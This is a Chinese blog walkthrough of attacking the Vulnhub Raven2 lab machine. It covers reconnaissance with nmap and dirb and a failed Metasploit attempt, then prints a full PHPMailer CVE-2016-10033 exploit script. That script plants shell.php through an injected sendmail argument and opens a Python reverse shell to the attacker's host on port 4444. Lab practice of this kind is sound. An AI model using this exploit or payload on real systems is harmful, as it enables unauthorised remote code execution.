raven2靶机渗透

一、环境搭建

1.准备工具

kali

raven靶机:链接:https://download.vulnhub.com/raven/Raven2.ova

2.安装revan

该虚拟机默认是NAT模式,因此无需调整网络模式

raven MAC地址:00:0c:29:fe:97:2b

二.渗透过程

1.信息收集

探测raven的地址

  • 查看kali IP:192.168.17.129,确定raven网段:192.168.17.0
ip a

image-20230804194453573

  • //扫描与kali在同一网段的所有主机IP及对应Mac地址
    sudo arp-scan -l
    

image-20231013161842936

确定raven地址为192.168.17.141

扫描raven 开放端口

nmap -sV -p- 192.168.17.141

-sV 扫描目标主机端口上运行的软件信息

-p- 扫描全部端口0-65535

image-20231013162231564

端口协议
22ssh
80http

url=192.168.17.141访问看看

image-20231013162450194

网页信息收集

  • 查看站点信息
sudo whatweb -v 192.168.17.141

image-20231013164315142

先放着

  • dirsearch工具扫目录
dirsearch -u 192.168.17.169 -e *

image-20231013164521583

没啥用

sudo dirb http://192.168.17.141

image-20231013202514215

url:http://192.168.17.141/vendor/PATH

image-20231013202720127

绝对路径:/var/www/html/vendor/

flag1

image-20231013203045314

5.2.16版本的PHPMailer

2.漏洞查找利用

image-20231013164404281

发现有框架漏洞

漏洞查找

  • metasploit工具利用

打开msf工具,搜索drupal漏洞

msfconsole
search JQuery

image-20231013164836664

发现JQuery许多框架,选择利用漏洞等级最高且最新的18年的漏洞exploit/unix/webapp/jquery_file_upload

漏洞利用

use exploit/unix/webapp/jquery_file_upload 
show options

image-20231013165140193

Current Setting是目前设置的内容

Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置

就上面来说RHOSTS需要set,但是没有内容

  • 所以接着设置一下RHOSTS内容(就是攻击目标IP地址,靶场地址
set RHOSTS 192.168.17.141
run

image-20231013171425610

失败

3. phpmaile漏洞

searchsploit phpmailer

image-20231013205454463

PHPMailer < 5.2.18 - 远程代码执行 - PHP Web 应用程序漏洞利用 (exploit-db.com)

image-20231013210950892

简单修改一下exp:

a.顶部加上# -- coding: utf-8 --声明,否则注释里一大堆非ASCII字符会报错。

b.修改target为靶机IP地址,利用文件为contact.php。

c.修改后门文件路径名称。也不知道为什么,用默认的backdoor.php总是利用不成功,把payload改成shell.php最终利用成功。

d. 修改反弹shell的地址为nc监听服务器的ip(KALI主机IP)和端口。

image-20231013214400894

"""
# -*- coding: utf-8 -*-
# Exploit Title: PHPMailer Exploit v1.0
# Date: 29/12/2016
# Exploit Author: Daniel aka anarc0der
# Version: PHPMailer < 5.2.18
# Tested on: Arch Linux
# CVE : CVE 2016-10033

Description:
Exploiting PHPMail with back connection (reverse shell) from the target

Usage:
1 - Download docker vulnerable enviroment at: https://github.com/opsxcq/exploit-CVE-2016-10033
2 - Config your IP for reverse shell on payload variable
4 - Open nc listener in one terminal: $ nc -lnvp <your ip>
3 - Open other terminal and run the exploit: python3 anarcoder.py

Video PoC: https://www.youtube.com/watch?v=DXeZxKr-qsU

Full Advisory:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
"""

from requests_toolbelt import MultipartEncoder
import requests
import os
import base64
from lxml import html as lh

os.system('clear')
print("\n")
print(" █████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")
print("██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")
print("███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝")
print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗")
print("██║  ██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║")
print("╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝")
print("      PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")
print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")

target = 'http://192.168.17.141/contact.php'
backdoor = '/shell.php'

payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.17.129\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'
fields={'action': 'submit',
        'name': payload,
        'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/shell.php server\" @protonmail.com',
        'message': 'Pwned'}

m = MultipartEncoder(fields=fields,
                     boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')

headers={'User-Agent': 'curl/7.47.0',
         'Content-Type': m.content_type}

proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}


print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')
r = requests.post(target, data=m.to_string(),
                  headers=headers)
print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')
r = requests.get(target+backdoor, headers=headers)
if r.status_code == 200:
    print('[+]  ExPLoITeD ' + target)
python3 40974.py

image-20231013211725938

访问contact.php(http://192.168.17.141/contact.php),此时就会生成后门文件shell.php

接着访问后门文件:http://192.168.1.12/shell.php

开启nc服务器监听,在服务器上得到反弹shell

nc -lvvp 4444

image-20231013213613412

失败

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Raven: 2是一台中级难度的boot2root虚拟机,目标是获取四个标志(flag)。Raven Security在多次遭受入侵后,采取了额外措施来加固他们的web服务器,以防止黑客入侵。你可以在Vulnhub上找到Raven: 2的ova文件,并使用VirtualBox打开。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [vulnhub靶机raven2](https://blog.csdn.net/weixin_52450702/article/details/127811079)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [vulnhub靶机——RAVEN: 2](https://blog.csdn.net/qq_44029310/article/details/126491848)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [Vulnhub靶机系列:Kioptrix: Level 1.2 (#3)](https://download.csdn.net/download/weixin_38717843/14052717)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

§666§

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值